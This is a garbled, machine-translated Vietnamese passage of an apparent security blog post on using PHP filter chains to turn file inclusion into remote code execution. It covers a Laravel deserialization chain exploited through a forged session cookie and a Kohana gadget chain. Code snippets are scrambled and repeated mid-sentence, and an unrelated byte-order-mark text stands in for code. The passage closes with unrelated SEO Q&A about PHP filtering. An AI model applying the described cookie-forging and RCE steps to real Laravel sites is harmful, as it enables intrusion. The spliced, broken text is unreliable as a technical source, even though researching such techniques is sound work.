        }
    }
}
7

Tập lệnh có thể được tìm thấy trên kho lưu trữ sau. [GITHUB-SYN-PHP-LỌC-TẠO]. Vui lòng sử dụng và yêu cầu các tính năng mới

Phiên dịch PHP

Vì các chuỗi của chúng tôi hoàn toàn dựa trên hàm PHP

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
6, nên thật thú vị khi tìm hiểu một chút để xem liệu có thể rút ra các cách sử dụng khác từ
$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
6 hay không. Tài liệu cung cấp chi tiết về cách chuyển hoặc bỏ qua các ký tự từ mã hóa này sang mã hóa khác

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���
2

Mã hóa mong muốn của kết quả

Nếu chuỗi

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���
3 được thêm vào
$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���
2, thì chuyển ngữ được kích hoạt. Điều này có nghĩa là khi một ký tự không thể được biểu diễn trong bộ ký tự đích, ký tự đó có thể được ước lượng thông qua một hoặc một số ký tự trông giống nhau. Nếu chuỗi
$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���
5 được thêm vào, các ký tự không thể được biểu diễn trong bộ ký tự đích sẽ bị loại bỏ một cách âm thầm. Nếu không,
$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���
6 được tạo và hàm sẽ trả về
$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���
7

Bằng cách chơi với mã hóa URL, cũng có thể sử dụng tính năng này trên các chuỗi của chúng tôi

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
8

Tuy nhiên, vì nó yêu cầu nhiều ký tự, nên việc không chuyển đổi trong chuỗi bộ lọc PHP của chúng tôi được coi là hiệu quả hơn

Biến chuỗi tiện ích bao gồm tệp Laravel thành thực thi mã từ xa

Chuỗi POP thực thi mã mới trên khung Laravel

Bây giờ chuỗi bộ lọc

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
6 đã được làm sáng tỏ một chút, chúng ta hãy quay trở lại với ngựa của mình. Vì giờ đây chúng ta có thể chuyển đổi bất kỳ tệp nguyên thủy bao gồm tệp nào thành thực thi mã từ xa, hãy nâng cấp chuỗi tiện ích Laravel được phát hiện ban đầu của chúng ta

Bộ lọc PHP HTML
Chuỗi tiện ích RCE cuối cùng trên laravel/framework 9. 34. 0

Chuỗi tiện ích PHP cuối cùng trông như sau

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
9

Sử dụng chuỗi cửa sổ bật lên mới để thực thi mã trên phiên bản Laravel

Điều đó thực sự ngọt ngào nhưng cảm thấy hoàn cảnh, phải không? . and use this bug on a real-world application configured with Laravel.

Chúng tôi đang tìm kiếm một nguyên thủy deserialization. Chúng tôi có thể nhận được nó nếu các điều kiện tiên quyết sau đây được đáp ứng

  • Lọc giá trị
    $ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
    base64���
    9 có trong tệp
    The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
    NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
    ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
    and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
    to a stream of Unicode characters as a "signature"; a receiver of such 
    a serialized stream may then use the initial character both as a hint 
    that the stream consists of Unicode characters and as a way to recognize 
    the serialization order.
    In serialized UTF-16 prepended with such a signature, the order is
    big-endian if the first two octets are 0xFE followed by 0xFF; if they
    are 0xFF followed by 0xFE, the order is little-endian. Note that
    0xFFFE is not a Unicode character, precisely to preserve the
    usefulness of 0xFEFF as a byte-order mark.
    0 ở thư mục gốc của dự án Laravel
  • Đảm bảo cấu hình

    The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
    NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
    ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
    and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
    to a stream of Unicode characters as a "signature"; a receiver of such 
    a serialized stream may then use the initial character both as a hint 
    that the stream consists of Unicode characters and as a way to recognize 
    the serialization order.
    In serialized UTF-16 prepended with such a signature, the order is
    big-endian if the first two octets are 0xFE followed by 0xFF; if they
    are 0xFF followed by 0xFE, the order is little-endian. Note that
    0xFFFE is not a Unicode character, precisely to preserve the
    usefulness of 0xFEFF as a byte-order mark.
    1 được đặt thành giá trị
    The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
    NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
    ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
    and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
    to a stream of Unicode characters as a "signature"; a receiver of such 
    a serialized stream may then use the initial character both as a hint 
    that the stream consists of Unicode characters and as a way to recognize 
    the serialization order.
    In serialized UTF-16 prepended with such a signature, the order is
    big-endian if the first two octets are 0xFE followed by 0xFF; if they
    are 0xFF followed by 0xFE, the order is little-endian. Note that
    0xFFFE is not a Unicode character, precisely to preserve the
    usefulness of 0xFEFF as a byte-order mark.
    2, nghĩa là phiên người dùng được lưu trữ mã hóa trong cookie người dùng.

Cần lưu ý rằng điểm cuối cùng khó có thể xảy ra hiện nay , vì phiên Laravel hiện được lưu trữ trong tệp theo mặc định. Tuy nhiên về vấn đề tương thích thì nó vẫn còn, và cấu hình này vẫn dùng được trên các phiên bản Laravel mới nhất.

Một CLI khác để mã hóa/giải mã loại cookie này có tên laravel_cookie_killer đã được phát triển cho bằng chứng về khái niệm này và có sẵn trên kho lưu trữ sau. [GITHUB-SYN-LARAVEL-COOKIE-KILLER]. Một lần nữa, vui lòng sử dụng nó và yêu cầu các tính năng mới

Vì vậy, hãy tưởng tượng chúng ta vừa rò rỉ tệp

The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
to a stream of Unicode characters as a "signature"; a receiver of such 
a serialized stream may then use the initial character both as a hint 
that the stream consists of Unicode characters and as a way to recognize 
the serialization order.
In serialized UTF-16 prepended with such a signature, the order is
big-endian if the first two octets are 0xFE followed by 0xFF; if they
are 0xFF followed by 0xFE, the order is little-endian. Note that
0xFFFE is not a Unicode character, precisely to preserve the
usefulness of 0xFEFF as a byte-order mark.
0 sau đây từ một dự án Laravel

router;

        require $routes;
    }
}
0

Sau đó, có thể giải mã cookie và xem liệu nó có lưu trữ dữ liệu người dùng được tuần tự hóa hay không

router;

        require $routes;
    }
}
1

Nếu cookie lưu trữ dữ liệu tuần tự, chúng tôi có thể tạo tiện ích của mình bằng cách sử dụng laravel_cookie_payload. tập lệnh php

router;

        require $routes;
    }
}
2

Cuối cùng, chúng tôi đưa tải trọng và mã hóa lại cookie

router;

        require $routes;
    }
}
3

Tất cả những gì phải làm sau đó là đặt cookie với cái chúng tôi vừa tạo

Bộ lọc PHP HTML
Tạo cookie trên Laravel

 

Bộ lọc PHP HTML
Viết lại cookie Laravel để lấy RCE

Điểm yếu chính của việc sử dụng chuỗi bộ lọc PHP là kích thước tải trọng kết quả (~ 14Ko trong trường hợp trước). Thật vậy, cấu hình Apache2 mặc định chỉ cho phép tối đa 8Ko dữ liệu trong các tiêu đề, do đó ngăn chặn việc khai thác. Tuy nhiên, NGINX dễ dãi hơn và cho phép tiêu đề 16Ko theo mặc định. Cuối cùng, chúng tôi tin rằng tải trọng được tạo vẫn có thể được tối ưu hóa, vì vậy tải trọng 14Ko sẽ trở nên nhỏ hơn trong tương lai

Một trường hợp sử dụng khác. nâng cấp tệp Kohana bao gồm chuỗi POP thành RCE

Chúng tôi đã tiến hành nghiên cứu thêm một chút để xem liệu các bộ lọc PHP có thể được sử dụng trên các chuỗi hủy xác thực phpggc hiện có hay không.

Hiện tại, chuỗi tiện ích PHP duy nhất trên phpggc được sử dụng để lấy tệp bao gồm dựa trên Kohana, đây là một khung công tác PHP đã lỗi thời được duy trì từ năm 2007 đến 2016

Vì các bộ lọc PHP cho phép chúng tôi lấy RCE từ

$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
9 hoặc
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
9, nên chúng tôi đã tìm hiểu một chút về chuỗi này để giải trí, hy vọng sẽ thấy các chức năng này được sử dụng thay vì
The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
to a stream of Unicode characters as a "signature"; a receiver of such 
a serialized stream may then use the initial character both as a hint 
that the stream consists of Unicode characters and as a way to recognize 
the serialization order.
In serialized UTF-16 prepended with such a signature, the order is
big-endian if the first two octets are 0xFE followed by 0xFF; if they
are 0xFF followed by 0xFE, the order is little-endian. Note that
0xFFFE is not a Unicode character, precisely to preserve the
usefulness of 0xFEFF as a byte-order mark.
6

Hóa ra nó đáng giá, chuỗi dựa trên

$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
9. Bằng cách sử dụng thủ thuật mới được phát hiện của chúng tôi với chuỗi bộ lọc, có thể nâng cấp tiện ích từ bao gồm tệp tùy ý sang thực thi mã. Chuỗi trông như sau

router;

        require $routes;
    }
}
4

Để hiểu rõ hơn các bước tiếp theo của chuỗi là gì, sơ đồ này tóm tắt luồng mã được sử dụng để nhận RCE

Bộ lọc PHP HTML
Chuỗi tiện ích Kohana RCE trên phiên bản 3. 3. 6

 

Trong khi nâng cấp chuỗi này, chúng tôi đã thấy nhận xét liên quan này. Hóa ra chủ sở hữu của kho lưu trữ @cfreal_ đã đề xuất tạo một loại "bao gồm" cho các chuỗi tiện ích vì bạn có thể thực thi mã từ nó nếu tất cả các điều kiện bắt buộc được đáp ứng [PHPGGC-COMMENT]

Bộ lọc PHP HTML
Nhận xét đề cập đến chuỗi tiện ích "bao gồm" trên phpggc

Từ những gì chúng tôi đã thấy trên bài đăng trên blog này, các bộ lọc PHP phải đủ hiệu quả để tiếp cận RCE từ bao gồm/yêu cầu trong hầu hết các trường hợp

Ý kiến ​​​​cuối cùng về khai thác bộ lọc PHP

Như chúng ta có thể thấy trong bài viết này, các bộ lọc PHP có thể thực sự mạnh mẽ nếu được sử dụng đúng ngữ cảnh. Cách khai thác của họ rất hấp dẫn vì nó dựa trên một vài thủ thuật PHP không phổ biến

Tuy nhiên, điều quan trọng cần lưu ý là loại tải trọng này thực sự rất lớn và sẽ không thể sử dụng được 100% thời gian. Giới hạn kích thước của tiêu đề hoặc trong URL có thể gặp sự cố nếu trọng tải quá lớn

Nghiên cứu này hoàn toàn bắt đầu vì nghiên cứu về chuỗi POP. Làm như vậy để khai thác unserialization là một cách tuyệt vời để hiểu có bao nhiêu thủ thuật PHP hoạt động. Chúng tôi nghĩ rằng đó là một cách hoàn hảo để tăng tốc nhanh chóng trong phân tích mã, do đó chúng tôi khuyến khích mọi người hãy thử với nó

Nâng cấp nguyên thủy bao gồm tệp thành thực thi mã từ xa bằng thủ thuật bộ lọc PHP đã được thử nghiệm thành công trên các phiên bản PHP 8. 1. 11, 7. 4. 30 và 5. 6. 40

Làm cách nào để tạo bộ lọc trong PHP?

Hàm PHP filter_var() . Phải mất hai phần dữ liệu. Biến bạn muốn kiểm tra. Loại séc sử dụng.

Làm cách nào để lọc dữ liệu trong HTML?

Cách sử dụng. .
Tải xuống và đặt tệp JavaScript jquery-data-filter. tối thiểu. js sau jQuery. .
Phân loại dữ liệu của bạn bằng các thuộc tính dữ liệu như sau. < div id="language-list" > < p class="filter-me" data-html="HTML5" >.
Lọc danh sách theo tên dữ liệu. // ko có kết quả. .
Lọc danh sách theo giá trị dữ liệu

Làm cách nào để lọc đầu vào trong PHP?

Hàm PHP filter_input() . g. từ đầu vào biểu mẫu) và tùy chọn lọc nó. Hàm này được sử dụng để xác thực các biến từ các nguồn không an toàn, chẳng hạn như đầu vào của người dùng.

Làm cách nào để lọc chuỗi trong PHP?

Làm cách nào để lọc hoặc làm sạch các số từ chuỗi trong PHP? .
Phương pháp 1. Sử dụng hàm filter_var()
Phương pháp 2. Sử dụng hàm preg_replace()
Phương pháp 3. Sử dụng chức năng preg_match_all()